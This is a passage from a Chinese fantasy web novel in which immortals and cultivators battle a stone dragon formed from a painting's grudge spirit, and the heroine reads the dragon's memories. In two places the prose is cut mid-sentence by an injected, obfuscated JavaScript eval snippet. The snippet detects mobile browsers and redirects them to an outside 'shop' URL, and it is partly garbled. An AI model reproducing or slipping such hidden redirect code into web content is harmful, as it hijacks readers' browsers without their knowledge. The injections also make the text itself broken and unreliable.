璃音细细回想那日的情景,确实在她拦下杨肃那柄大刀后,就不见了山桃的踪影,她那时还疑惑,如此着急拉她过去救人的小丫头,怎么自己反倒跑得没影了。 只听摇光又问:“你可将陆安平时题字作画用的那支笔带出来了?” 文昌立时反应过来,摇光这是在帮他询问那支文昌笔的下落呢,也忙向山桃问道:“是啊,山桃,我的那支笔呢?平日就放在书房里的,你回家拿那些字画的时候,可见到了?” 山桃只是摇头:“那支笔对夫人和我都是何等重要,我若见到了,怎会不拿。” 楚雁儿回想着当日出门时的情形,说道:“陆郎,我记得,我早上习字时,那支笔就挂在桌案的笔架上,放得好好的,然后我们出门,就遇到杨肃了。” 也就是说,文昌笔竟就是在杨肃杀人那会儿丢的。 彼时陈天财正不知躲在哪里,还在装作没有归乡的样子;杨肃忙着挥刀砍人,分身乏术,也肯定是没空去动那支笔的。 况且镇上考学的风气又重,这可算得上是极热门的文房用具了,谁家案头没几支民间仿制的所谓文昌笔?凡人便是闯进书房见着了这支笔,又有谁能认得出,这就是文昌帝君手中那一支货真价实的文昌笔,还特意给拿走了呢?当时司命将这笔送去给陆安时,不连他自己都没认出来么? 众人正思量间,忽觉脚下一晃,屋内书架桌案也都随之乱摇,这时架子顶上一卷画轴混在悄然滑落,正正好好就要砸去虞宛言的头上。 尚未有人注意到那画卷坠下,就只见虞宛言脚下青光骤亮,却是璃音之前种下的护身法阵亮起,那画卷落至虞宛言头顶三寸之处,便似撞上了一堵无形的铁壁铜墙,登时画轴碎裂,外迸弹开,那束画的线也给撞散了,柔软的画纸展开,晃悠悠飘落坠地。 虞宛言有些别扭地向璃音望去一眼,教养逼迫着他要在此时开口道谢,但就是扭扭捏捏说不出口。 璃音却对这种少年人弯弯绕绕的小心思全然未觉,目光始终落在地下那幅画上。那是一副在望州随处可见的后羿射日挂画,瞥了眼落款,是公子川,心中暗笑:原来陆安竟也有画技拙劣的时候,那箭的准头竟给画歪了,且歪得十分 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山桃手上动作飞快,拼命往麻袋里装着书,额头上急出一层薄汗:“姐妹们还在这里面呢!” “出去。” 摇光面无表情,左手袍袖一挥,卷起一阵狂风,就将山桃秋风扫落叶一般卷了出去。 同时轰的一声巨响,书架崩塌,木板四散着迸裂,就往山桃方才站立之处砸了下去。 璃音立即催动腕间“宇”字铃铛,霎时屋内蓝光大盛,那些正随书架掉落的书册竟就凝滞在了空中,仿佛时间在这些书册之上并不向前流动,旁边是木屑纷飞,木板急坠,那些书册却只是一动不动地漂浮在原来的位置。 接着“宙”字铃铛银光一闪,璃音就和摇光一起闪身在了屋外院中。 山桃只觉手中一沉,适才只来得及装了一小半的麻袋这时满满当当的,书架上的字画已被尽数收入其中。 远处林间,又开始隐隐传来一声声类似野兽压喉的低吼。 山桃守着楚雁儿和那一麻袋的书画,抽出腰间火钳,已然是一副准备好迎敌的姿态。 璃音感受着脚下一波一波的山震,向山桃问道:“这伏龙山,一直是这样时不时要震一下的么?” 山桃摇头:“猛虎野兽偶尔会有,这样震动,在今天之前却从未遇见过。” 此时虞宛初和虞宛言已是绕山飞了一圈回来,两人下剑落地,虞宛初道:“不是地震,只有伏龙山和旁边的一座小山在动。” 地不震,山却在动? 远处异兽的吼叫声渐近,突然发出响天彻地的一声狂嘶,这次所有人都听得清清楚楚,这不是什么山间的猛虎野兽,分明是一声龙啸! 那嘶吼之声悲恸哀绝,仿似泣血。 璃音是玉横用昆仑山白玉雕出的仙身,身体常年都要比旁人偏凉一些,这时却忽觉有一股热气从血液中蒸腾起来,额头也开始发烫。 她心中已隐隐有了一些不好的猜测和预感。 “你们有没有听过一个说法。”山桃横举着火钳,忽然开口,“说龙溪村那条小溪里淌的是魔龙之血,而伏龙山,还有旁边的那些小山,都是魔龙之骨所化,因此这一片就叫作龙骨山脉。” 山桃紧了紧捏着火钳的手,又道:“你们说,像我这样书画里怨气深重的人,既然能化灵附骨,得化人形,那书画里那些被杀死的毒虫猛兽,若是也有怨气呢?” 璃音想起了方才砸在虞宛言脚边的那幅《后羿射日图》,不,不该说它是《后羿射日图》的,因为其实那画上除了落款,并没有题字。 望仙镇关于后羿神君的两大传说,一为射日,二为伏龙。那画中的太阳只有一个,箭居然还对得不准,陆安的画技怎可能真的拙劣至此?除非那箭要射的本就不是天上的太阳金乌,而是一条魔龙,一条如同山桃一样,集怨成灵,脱画而出,正企图附身脚下这座龙骨之山的魔龙! 倘若果真如此,那么恐怕…… 璃音沉眸:“这座山,要活了。” 41. 第40章 石龙 然而当璃音说完这句,脚下的伏龙山却突然静止不动了。 山桃微微松了一口气,高举的火钳也放了下来:“果然是我们想多了吧,这么大一座山,要多大的怨气,才附得上去。” 谁知她话音刚落,就听远处山脉间传来一连串砰砰砰的连绵巨响,这响声轰天震地,真有如天崩地陷,石裂山催。 虞宛言御剑登高,往四下里一望,神色凝重:“是旁边那座小山在震。” 那小山愈震愈烈,忽然轰隆一声,整个山体竟猛地拔地而起! 半空中传来一阵骨骼错位般咔哒咔哒的异响,只见那些山石不断碎裂又重聚,它们不停移动变换着位置,整座小山仿佛一副巨大的骨架,正被什么巨大的力量吸附着敲碎重组。 璃音凝目望着,她血管中奔淌的血液越发灼烫,声音却越发沉冷:“看来这么大一座山确实附体不动,它倒聪明,重新挑了一座小的下手了。” 说话间,山体终于完全化作一条石骨巨龙,龙形一成,就见它冲天而起,望天长啸,于九霄云雾之间啸出一声震耳龙吟。 它也不在云间多做留恋,一个转身摆尾,便即俯身下冲,直奔伏龙山顶,呼啸而来。 “乾坤借法,诸邪避让。” 虞宛初迅速从怀中探出一张退鬼符,夹在指间,大喊一声:“退!” 便腕上运劲,望天一抛,那符纸宛似利箭,迎风而上,直直地就向龙首眉心射去。 山桃看看有一座山那么大的巨龙,又看看那只有巴掌点大的符纸,欲言又止地张了张嘴,就见虞宛言又从乾坤袋中搬出厚厚几摞黄符,虞宛言本就身形颀长,那符纸一叠叠堆在地上,最后竟堆得比他自己还高! 只听他大喝一声:“乾坤借法,诸邪避让,退!” 就起脚一个飞踢,把那一堆比他自己还高的退鬼符尽数踢了出去,一摞摞的符纸入空即散,如雨点般飞出,漫天纷扬,就向着石龙围拢而去。 此时虞宛初先前抛出的那张符纸已正中石龙眉心,石龙只略微顿了一顿,像被哪里来的蚊子叮了一口,就从鼻子里哼了一哼,尾巴一摆,就要继续迎头冲下,不想接着就是铺天盖地一场黄符暴雨兜头浇来,这些符纸虽仍覆不满整条龙身,却已把那颗巨大的龙首密不透风地贴住。 虞宛言这一番操作,别说山桃,就是璃音也看呆了。 这一堆比人还高的符纸,少说也得有个几万张了吧?那画符的人就是不吃不喝,也得画上好几个月才画得完,他就这么随脚一踢,全给人家用完了,按他这么个捉妖除灵法,下山历练一趟,山里师父的笔杆都快画出火星子了吧。 那石龙被黄纸糊了满头满脸,登时怒不可遏,退鬼符的威力在它身上发作起来,又剧痛难当,它双眼被挡,疼得在半空里首尾乱扑,早乱了方向,它想要厉声咆哮,嘴巴却又被一张又一张的黄纸糊住,最后只发得出呜呜咽咽的几声闷吼。 然而尽管痛吼至此,邪龙怨灵却仍旧死死依附于那具山骨之上,不肯有丝毫的蜕离。 只听得空中咔哒咔哒的诡异之声又起,山石堆作的龙骨竟又一次开始移位,不过片刻,就见那龙首竟化作了一条尾巴,而原先的龙尾已赫然变作了一颗全新的龙头。 这一番首尾易位,原本密密麻麻贴住龙首的黄符便瞬间被转移至了龙尾,石龙再把巨尾猛地一甩,便将符纸尽数抖落,狂吼一声,调转回头,再一次俯身下冲,直直地向伏龙山顶上的众人扑来。 那龙身巨大,飞来时有如泰山压顶,山桃见这几万张符都制它不住,想自己手里就一根火钳,那不就跟用绣花针砍大柴似的,能顶个什么用?忙转了头向文昌喊道:“陆安,你不是神仙么,快想想办法呀!” 文昌牵着楚雁儿,窝囊得理直气壮:“山桃,我是文昌,不是武昌,你这话还不如去问问那位拿剑的神君。” 璃音听他们这一问一答说得好笑,看一眼山桃,忽然心中一动,璃音自己自然是不怕和这石龙相斗的,只是倘若当真打了起来,这庞然大物随便被破军削下一两块“骨头屑”,再一个不小心落去哪个村子,对那里的村民可就成了灭顶之灾,因此能不打还是不打得好。 她此刻望着山桃,想起她在县衙仵作房里被浊墨侵染,便洇墨成团,无法动弹的情形来,当即眼睛一亮,向她大声道:“山桃姑娘,墨水!” 山桃当即会意,却也只能垂丧着脸道:“仙子,山中姐妹个个最忌讳沾墨,谁敢往这里存放墨水嘛!” 璃音一愣,这倒也是,看来终究是免不了要和那龙打上一打的了。 “文昌,你先带她们走。” 摇光说着将破军斜斜一挥,剑身上的星纹与悬在夜空中的北斗齐亮,便把文昌、楚雁儿、山桃、还有那一麻袋的书册全挥离了此处。 璃音望着一下子空旷了许多的小院,好奇:“你把他们送哪儿去了?” “揽华公主床上。” 璃音委实被他震撼了一把:她把书信往人床上送也就罢了,这位神君怎么能连三人带麻袋,有男有女的都直接往人家一个姑娘的床上送啊…… 摇光见璃音看向自己的眼神有些怪异,又添一句:“他们不是要去找公主告状么?学生正好送他们一程。” 璃音一边以指结印,只待石龙飞近,便以魂术哄它入睡,一边说道:“……挺好,公主这一晚应该过得挺热闹,也不怕被那小鬼吓着了。” 因为公主的床头即将有更大的惊吓出现了。 璃音静候石龙逼近,却不想那龙离得愈近,她体内的血便愈烫,此刻已近乎沸水翻腾,几乎就要灼化她的血管,额头更是一片滚烫,似乎有什么东西就要破体而出。 她转头看一眼摇光,见他身如利剑,眉眼如锋,此刻巨龙压顶,势若雷霆,挟来一阵疾风呼啸,卷动他长长的发带在这狂风之中乱舞,却更衬得他神色沉静,方寸不乱。 她便又稍稍安下心来。 下昆仑之前,在摇光殿的小院中,她与他曾有过一个约定。 ——若有一天,我果真被邪魂侵噬,再无理智尚存,还请神君念在我们此刻相识的缘分一场……望神君即令破军,将我斩杀。 ——好,若真到那时,学生必不负所托。 终于石龙迫近,近到距离众人发顶只有寸许,璃音指尖疾闪,正欲催动灵力,突觉头上一阵急痛钻袭而来,仿佛有一根铁锥正撬着她的头骨直往外钻,她明明不在流血,眼前却是一片血糊的晕眩,她身子微晃,意识朦胧间伸手往额头一探,果然在那里摸到了两只新长出来的龙角。 “夏姑娘!”耳旁有谁在惊慌地呼喊着她的名字。 视线模糊中,她只隐约能感应出几道青蓝黄白的光芒,在自己身前急舞交错着闪成一片,而那如山一般的巨龙始终没有压上她的头顶。 这浑身的痛如炙火焚血,又如利刃凿骨,但伴了她三百年,便是再痛,她也是忍惯了,只需咬一咬牙,闭眼稍一定神,再睁眼时,眼底已是一片清明。 她抬头,只见头顶两个阴阳八卦鱼阵叠合在一起,缓缓转动,闪烁着淡黄色的流光,替她顶挡着一大块龙头一般的巨石。 而那条石龙却以一种奇异的姿势被卡在了半空。 只见它龙头歪斜,断了气一般,无力垂落在她头顶的太极鱼阵之上,而龙身却急速疯摆着,只挣不脱摇光将它困住的“星罗棋布”,这情状诡异,就像是一条已然坠网、却被渔网中一个大洞卡住了脖子的鱼,看那鱼头分明已死,鱼身却还兀自在网中挣扎。 璃音瞧了一眼,便瞧明白了:“星罗棋布”能锁世间万千灵魄,却架不住这龙既是怨灵,更是凡间一座石山,故而那石头堆成的龙头触上“星罗棋布”的大网时,附身其上的怨灵一时竟没反应过来,石头脑袋穿网而过,魂儿却被卡在网中了!待它有所察觉,已经就像被撸到一半的烤肉串,怨灵全挤在了后半截龙身里面,它又绝不肯放弃这来之不易的石头身子,只好受困网中,而那龙头里此刻却是空空荡荡,已然只是一块普通的山石了。 这时忽听得身后虞宛言焦急喊道:“阿姐,有我挡着,绝不会让她有事,你快撤阵吧!”他的语声发颤,几近恳求,几乎就要哭了出来。 璃音闻声,连忙回头望去,就见虞宛初身形摇晃,脸色苍白如纸,嘴角更是不住向外渗出血丝,却依旧坚持着手捻剑诀,不肯懈怠,璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703241|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音一看便即明了,这是在替她维持着头顶那个太极鱼阵! 虞姐姐本就体弱,如何禁得起这样消耗?璃音心中一紧,也急了起来:“虞姐姐,我没事,你快撤阵!” 她见虞宛初兀自不动,疾步上前,一把抓下她的手,握在掌心:“我命硬,那东西就是全压在我身上,也死不了的!” 其实说来也怪,璃音上山时给四人身上都种下了护身法阵,如今龙头巨石压下,摇光飞身在空中,布着“星罗棋布”,那龙头便同时压向了她和虞家姐弟三人,但看现在虞宛初和虞宛言脚下绿光流转,分明是那法阵发挥了作用,正好好地替他们挡护着头顶巨石,否则方才他们也抽不出手来,为自己挡下这一道太极鱼阵了。 那怎么偏偏就只有她往自己身上种下的护身法阵竟不顶用呢? 虞宛初原本还要坚持,却忽然发现,原本死气沉沉砸在三人头顶上的龙首,这时竟又动了起来!忙指着上面提醒:“它动了!” 摇光凌空而立,手捏剑诀,维系着剑阵,沉冷的声音自上方传来:“它是还想把龙头再吸回去。” 他完全可以一剑斩下,将这石龙斩首处死,管它什么书怨画灵,都登时叫它魂飞魄散,方才见那巨龙迎面袭向璃音之时,他也确实差一点就这么做了,但正如璃音之前所想,一旦破军斩落,山石必然破碎四落,届时整个龙溪村根本无人可以活命。 她是不会愿意他这么做的,关于这一点,他很清楚,甚至可以说,他比璃音自己还要清楚。 硬攻不得,还是得用魂术把它哄睡了才是上策,璃音这么想着,指尖再一次青光浮动,却不想这一下催动灵力,也同时牵动了她全身沸腾血脉,连同头上强忍下的钻骨剧痛一并爆发。 她腰间玉横陡亮,眼底渐渐染上一抹血红。 星网中的恶龙似乎有所感应,也愈加兴奋起来,此时它已将整个龙头缩回网中,两块大石嵌就的眼睛仿佛向外迸射着精光,大张着一张深渊巨口,发出咕噜咕噜嘴馋似的低鸣。 “阿姐。” 璃音忽觉手中一空,原来是虞宛初的手从自己掌中抽离了,她下意识回头望去,就见虞宛言挺剑上前,目光警惕,拉着姐姐,将她护去了自己身后。 但那警惕的目光和前指的剑尖,却都不是对着空中那条巨大的石龙,而是对着她,对着她这个龙角赤眼,腰间魔玉烁亮的怪物。 璃音无声地笑了一下。 她并不怪他。 她原以为自己至少还有一年的时间的。 现在看来,什么重生,什么再活一次的机会,天下哪里真有这样的好事?不过是老天看她要死了,慈心大发,给她赏赐了一碗比旁人更香一些的断头饭罢了。 但是幸好,幸好这一次,有他在的。 璃音抬头望向空中那一道冷蓝色的身影,神思前所未有地清明:那条龙一瞬不瞬地盯视着她,显然是对她有着非同寻常的兴趣,又或者,它根本就只是冲她一人而来的! 她仰起瓷玉一般冷白的面庞,向着空中那一抹蓝,声线如山溪漫石:“小七,收阵,放它出来!” 虞宛言大吼:“你疯了?!” 不把这明显着了魔的女人一起关进去,岂还能放那邪龙出网? 虞宛初看璃音这样神色,心中却隐隐不安,她如何瞧不出那石龙就是奔着璃音去的,一旦离网,璃音便是真能不死,也少不了要吃一番苦头,她这一日灵力消耗过多,此刻已是气弱无比,但还是强行提气,向空中喊道:“神君不可!” 姐弟俩的声音几乎同时响起,摇光却仿佛一句都没有听见,他只是淡淡向璃音投去一眼,面上看不出什么情绪地与她对视片刻,便即轻轻抬手,召回破军,将整个“星罗棋布”全部撤回。 恶龙脱困,一声狂啸,两只石头眼睛猛地鼓起,张开全身锋利龙爪,就直扑璃音而去。 璃音不闪不躲,眼底赤红似血,待巨龙扑面,忽地唇角极浅极淡地向上一扬,不慌不忙,伸手向后一抛,抛出摇光赠她的那一幅万壑千山图来。 随着巨龙欺近,她将身子轻轻往后一仰,便与那咆哮着的石龙一起,坠入了身后的万壑千山之中。 42. 第41章 伏龙 四月廿九,伏龙山巅。 晚风沁霜,吹凉少女眉眼,却难吹散她眼底一片赤红滚沸。 她迎风站立,挥腕一甩,呼地风响,又叮叮当当,就将腕间铃铛手链甩作一条褐色长鞭,啪的一声,鞭头击在地上,激起一阵尘土飞扬,小小的她在扬起的飞尘中高仰着头,手持长鞭,一身青衣猎猎,与盘旋在空中足有一座山那么大的巨型石龙遥望对峙。 万壑千山图外,虞宛言默然盯着图中的龙与少女,握在剑柄上的指骨却紧了又松,松了又紧,骨节泛出一点丧失血色的白,他就这样盯了那图好一会儿,忽然开口:“她会死么?” 他这话问的究竟是它是她,旁人其实难以分辨。 摇光掀眸看他一眼:“它会,她不会。” 声音平静,似无风晴日里的湖波,听不出什么情绪。 虞宛言不说话了。 虞宛初听摇光亲口说璃音性命无虞,心神稍定,这才问道:“夏姑娘是将它锁在画中了?” 摇光冷淡地点了点头,忽然展袖一挥,将画卷起,转身就要带走:“我在山中已无别事,就此别过。” 虞宛言向他背影追上一步,说道:“慕公子,书怨之事尚未了断,你不和我们一起去皇城找楚娘子了么?” 摇光像是听到了什么很难理解的话似的,回头望他。 虞宛初也出言挽留:“慕公子若无别事,不如与我们同去,楚娘子还需有人相助,想必揽华公主应该也还在那里苦等着慕公子,去帮她解决那只床头小鬼的吧。” 摇光定定望着眼前二人,眼里一片茫然:“你们说的这些事情,与我有什么相干?” 姐弟两个闻言俱是一愣。 他这话字面上明明白白说的是拒绝,可加上他的神态语气,却叫人听起来更像是一种错愕反问。 仿佛他们这一日一路上的打闹相伴,都只是一场错觉,世间一切嬉笑纷攘,爱恨痴怨,燃眉疾苦,全都与他无关似的。 他从来不是什么慕公子,而是紫宫中高高在上的北斗神君。 再仔细一想,是啊,这一路上与他们二人嬉闹唱和,有说有笑的,从来都不是这位神君,而是方才那位以身为饵、引龙入画的小仙子。 虞宛言正自呆立,忽然眼前蓝白色寒光闪动,破军剑尖已直直地点在自己眉心,它主人此时已背转过身去,语调微凉:“你方才,不该用那样的眼神看她。” 指的却是璃音龙化时,他对她充满敌意的那一眼。 虞宛初本就已精神不济,气力难支,这一剑更是把她急得呼吸都全乱了套,此刻连说话都带着细喘:“神君!阿言年纪小,不懂事,一路上对夏姑娘多有得罪,我日后定会对他严加教导,只是破军何等神威,他如何抵受得住……” 话还未说完,破军剑尖一颤,却已被主人召回。 “但石龙来时,你为她持阵护法,所以我饶你这一次。” 说完这句,头也不回,带着那幅万壑千山图,便消失在这片星辉照彻的夜空之中了。 虞宛初望着他背影消散的方向,忽然捂住胸口,哇地喷出一大口鲜血,脚下一个踉跄,便要晕倒。 她本就体弱,为姑母和染棠招魂又承受了一番极大反噬,如今身体还没修养回来,这一整日又连着长途御剑、催阵抗龙,尤其适才为着璃音那一挡,眼见石龙没顶,千钧一发,她拼尽修为,才勉力为她挡下雷霆一砸,刚刚又被破军那一剑激了心火,现下精气耗尽,终于支持不住,向后跌去。 “阿姐!” 虞宛言飞跑上前,接住姐姐倒下的身子,眉心痛苦地向下压着,嗓音带着尖刀刻石般的涩:“难道我想讨厌她,可她害得你这样……她害得你这样……” 少年人无措地将姐姐抱在怀中,在无人的山间晚风里,终于埋头在姐姐的肩上,悄声呜咽着哭了起来。 * 仍旧是伏龙山巅。 恶龙长啸,少女手中长鞭迎风一甩,竟是见风而长,鞭身扬动,上面坠着的九只玉铃铛叮铃齐响,劈空而去,直击龙首面门。 那石龙以整山作骨,体型自是庞大厚重无比,可它进退闪避间,灵活夭矫,竟丝毫不见笨重,见长鞭自下袭上,龙首后仰,整个身子疾向下潜,几下游动,就绕去了璃音身后,巨口大张,就从脑后咬下。 璃音已知自己画出的符阵皆对它无用,当下并不结阵去挡,而是探手去腰间扯下那只青铜铃铛,转过身的同时,急往上抛,口中喊道:“神魂俱显,万魄归家!” 叮铃——叮铃—— 铃声清脆,就在石龙耳边响了起来。 石龙闻声,扑咬的动作微微一滞,喉间发出几声难抑的痛吼,引魂铃引渡万魂归家,而它的家可不在这座山里,这便是要将它驱魂出骨,赶回画中。 邪龙怨灵却也倔强,死赖着这具山骨不放,一面痛吼,一面仍张扬着前爪,要向璃音抓扑而去。 “看来不给你点苦头吃吃,你是不肯回去的了。” 璃音再次挥动手中长鞭,望空抽去,却不是去抽那扑面而来的石龙,而是向着空中那只青铜铃铛甩去,只听当的一声,鞭上坠着的“荒”字玉铃与空中铜铃相击,“荒”铃登时大亮,又激起叮铃叮铃一阵狂响,原本一手可握的青铜铃铛忽地竖里窜高、横里狂长,眨眼就已变得比那石龙的龙头还大,成了悬空的一口巨钟,就罩在那颗龙头之上。 此时璃音又是一鞭敲上,大喊:“神魂俱显,万魄归家!” 只听当的一声巨响,这一下宛如晨动钟鼓,敲天震地,直直地向巨钟之下的石龙耳中灌去,石龙当即龙身乱扭,昂首痛啸,龙骨之上魂力乱窜,有些已开始向外逸散,显已快要吸附不住。 璃音看石龙被困在钟声里面痛苦挣扎,却兀自不肯放骨归山,握鞭的手稍顿,下一击迟迟没有挥出:“就这么舍不得这副骨头吗?” 传闻中,这条魔龙本是一条神龙,本也有五爪金身,圣手佛心,只是一朝被魔气侵染,自此便失了神智,为祸人间,吞吃百姓无数。 一条神智全失的龙,求生的欲望竟是如此强烈,但想来也是,毕竟…… 求生,是世界万千魂魄的本能。 而此时,这条全无神智的邪龙之魂的求生本能便格外强烈,趁着璃音这一迟疑,石骨咔嗒咔嗒一阵急响,霎时移石换位,将身前的一只龙爪迅猛堆长,堆作一根前尖后宽的石锥,璃音本也算是石头雕成的身子,这一下硬石碰硬石,嗤的一声,那龙锥便刺入了璃音的左肩。 “我同情你,你倒来打我,真个没良心。” 璃音冷哼一声,一鞭甩出,这次鞭身上“荒”铃和“地”铃齐亮,咚咚两声,敲在罩着龙头的那口巨钟身上,她同时疾跃而起,飞在半空,她脚刚离地,就只听砰的一响巨响,那巨钟下的龙头炸开,连着方才脚下的伏龙山也轰然一下,整座巨大的山峰向下坍塌,一时山石崩裂,又是一阵砰砰砰砰响个不停。 谁知那石龙被炸了脑袋,竟不羞不恼,也不痛呼,怨灵熟练全挤在龙身里面,只举着那只沾了血的龙爪兴奋狂舞。 原来那龙爪方才沾了璃音的血,竟如敷了生肌化腐的奇药,在那石骨之上,竟飞快地长出血肉来了! 璃音眸色一沉,这就是它一直追着自己不放的原因么? 邪龙处在血肉重生的亢奋之中,哪里还顾得上被炸掉的石头脑袋,当下催动身上石骨,咔哒咔哒疯狂移位,往四面八方都探出一根根长长的石锥来,看上去竟像是一颗圆圆滚滚的巨大海胆,斜地里疾飞,飞出上方巨大的钟罩,再冲天一滚,就挺着全身成千上万根石头锥子,要往璃音身上刺去。 璃音眼见那颗巨大的“海胆”旋转飞来,持鞭的手非但不去敲钟震魂,反而松手一放,那长鞭立刻蜷起,变作一条玉玲手链,又盘回了腕间。 她既不画符格挡,也不飞身闪避,待那“海胆”飞至身前,石锥就要再一次划破她的皮肤,那颗“海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715769|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆”却像是突然被人从屁股后面撬开了似的,啪的一声脆响,就从后往前裂作两半。 “海胆”虽裂,去势却还未泄尽,就咕噜噜一边一个半球,无数石锥便擦着璃音颊边,向前滚转了开去,不一会儿,就只听得轰隆一声,两个半球都分向两边一倒,各自往地上砸出一个大坑,再不动弹了。 “海胆”除尽,原地便只剩下了一个三寸大小的线条小墨龙,那小龙缩着脑袋,嗷嗷低叫,看上去竟有点可怜。 小龙身后,一片青碧亮光闪动,一只白玉葫芦正晃着它亮闪闪的葫芦肚子,那拴束在葫芦颈间的红色系带,竟像两只细红的小胳膊似的,一边指着自己尖尖的葫芦嘴儿,一边打着弯,搭在鼓鼓的葫芦肚子旁边。 本命法宝与主人心意相连,璃音当即就被这家伙风骚的姿势闪得闭了闭眼:它这家伙,是一“手”在向她这个主人邀功,以示是自己用尖头刺破了“海胆”,解救主人于危难,一“手”在朝那手下败龙得意叉腰呢! 玉横怕主人没能欣赏到自己方才的英姿,叉着腰就突然向前飞上一寸,吓得那小墨龙尾巴竖起,跌跌爬爬着忙向后退了一寸。 玉横只飞了一寸便停,逗狗一般,看着对方反应,心满意足,单线叉腰都变作了双线叉腰。 璃音左手将玉横手收掌心,右手将那三寸小墨龙捏起:“原来你怕这个。” 哪知小墨龙听了这话,忽地龇牙咧嘴,两只龙眼里精光迸射,死死盯住玉横,就如同当时石龙的一双石头眼睛盯着璃音一般。 玉横见手下败龙似有不服,又在璃音掌心里往前突飞一寸,小龙当即一缩脑袋,本能就要往后退去一寸,却被璃音捏住了身子,撤退不得,只好龙爪齐挥,惊得又是一阵嗷嗷乱叫。 璃音有些好笑地看着被自己捏在指间,兀自张牙舞爪的小墨龙:“你想要它,却又怕它,是么?” 其实这也是一句废话,世间凡是有些修为的,谁不想要它,世间凡是生了魂魄的,又有谁能不怕它。 说话间,小墨龙已又冲着玉横龇牙咧嘴起来,玉横就上下左右乱飞着逗它,看它蜷成一团瑟瑟发抖,还不忘冲着自己龇牙。 “它好像对你格外宽容。” 换做旁的邪灵,早已被玉横一口吞吃入腹,等着化作一摊血水,滋养它的玉身了,哪里还会留它在这里凿齿磨牙。 不料她竟小看了这小小的墨龙,被玉横逗弄了几圈,竟当真敢发起怒来,猛地生出一股大力,就从璃音指间滑走,一头就冲着玉横的葫芦肚子撞了过去。 那小龙不过三寸来长,葫芦也才半个巴掌大小,只听极轻极轻的啪嗒一声,那颗小小的龙头就已撞在了小小的葫芦肚子上,然后龙头向边上一歪,身子向下一瘫,竟把自己给撞死了。 璃音:“……?” 当即默默向玉横瞥去一个眼神,谴责:玩玩玩!你看,把人家玩死了吧! 玉横也给吓了一跳,当即高举双“手”以示清白:不是我!我真没动它!是这条茶龙它在碰瓷! 然后探出一根红绳充当的小小手指,向那瘫死在地的龙身上戳了一戳,却不想这一戳,小龙嗷呜一声,竟又活了。 然而小龙晕晕乎乎刚一睁眼,见到玉横,立刻又双目喷火,就地把头向前一磕,磕在玉横肚子上,就又脑袋一歪,瘫在地上,死了。 璃音:“……” 这龙也真有意思,神智全无的时候一心要活,这会儿神智清醒了一些,倒又一心求死了。 但是玉横根本就没发威,一个线条小龙光靠撞头,哪里就能把自己真的撞死的。 果不其然,玉横红绳指头一戳,那龙翻了个身,就又活了。 小龙再一次向玉横撞头而去的时候,璃音终于忍无可忍,一个指头垫着将它的小龙脑袋拦下,指尖莹莹绿光浮起,另外四指微动,叩出一个兰花印:“到底怕它还是恨它,要死还是要活,又是什么怨气叫你千年难消,不如都来让我看看吧。” 43. 第42章 玉龙旧怨 即便这条小墨龙今日真在玉横身上撞死了,外面还有那么多的后羿射日诛龙图,谁知明天会不会又从哪里跑出来一只,再一次附山作骨,化龙发癫? 最好还是要知道它究竟有何怨气,方能对症下药,永绝后患。 而且……璃音摸了摸自己额上的龙角,这困扰了她三百多年的龙化之症,答案也许就在眼前。 这么想着,她毫不迟疑叩动手印,探入了小墨龙的识海之中。 一般人的识海,都是由一道道记忆之河汇聚而成的汪洋大海,但这小墨龙的识海却有些怪异,只有几小块湖泊似的残片,而且有好几处的湖水都已干涸见底。 它毕竟是墨怨化灵,至于这怨气的源头,也许和山桃一样,是脱胎于某个书生笔下的画本故事,又也许是某一幅画作将它画得格外难堪,惹得它心神郁郁,终日咽不下这口气,由此生怨。 但它终归不是那位被后羿神君亲手诛杀在伏龙山顶的邪龙本尊。 故而记忆有断有续,零零碎碎,也属正常。 当年素有“圣手佛心”之名的猰貐神尊,究竟为何会被魔气侵体,又一夜堕魔,其实天宫中的仙子神君们也都心有惶惶,私下窃窃议论了快有九百年,但九百年过去,仍是没谁能议论出个说法。 但在猰貐神尊入魔之前,在他身上曾发生过一桩大事,是天上地下都传遍了的:某次神尊突遭小人暗算,九死一生之际,西王母感念他素日功德,救他上昆仑,赐了他一颗不死药。 此时璃音在小墨龙的识海中探得的,就正是九百年前,昆仑神巫给他喂食不死药的这一段故事。 璃音看了一圈,没看到巫真师姐,想了想,九百年前的昆仑山上好像还只有六位神巫,以巫彭大人为首。 巫真师姐那时应该尚未晋神,还在灵山修炼,等着巫师大考呢。 璃音虽把巫真唤作师姐,其实就是师父。 昆仑山原本是不留灵巫修习的,天下灵巫皆出灵山,灵巫们只有在三年一届的巫师大考中拔得头筹,才堪堪获得晋神资格,后面不仅要再渡十劫八难,考验品行心性,还需得西王母钦点,才可晋升神巫,入住昆仑。 像她这样连巫师大考都没参加过一次,莫名其妙就混进了昆仑山上的,千万年来,也只有她一个。 西王母领她过去拜见十位神巫,要替她挑一位师父的那日,神巫之首已不再是巫彭,而是巫咸大人了,那时十位神巫围着她,把她从头看到脚,又从脚看到头,没人明白娘娘带来这么一个毫无修为,捡漏飞升的人间少女是何用意。 昆仑事忙,他们哪有这个空带小孩,于是默默对视一圈,各人的背都不约而同佝偻了起来,好像背上骨头发痒似的,身子越缩越小,生怕娘娘把自己看清了,要点自己的名。 只有巫真大步上前,两手向前一捧,就捧住了璃音的小脸,薅着璃音的脸颊肉就是一顿揉搓:“这么个玉雕似的小姑娘,每天就是摆在房间里看着都舒心,你们不要,我可带走了。” 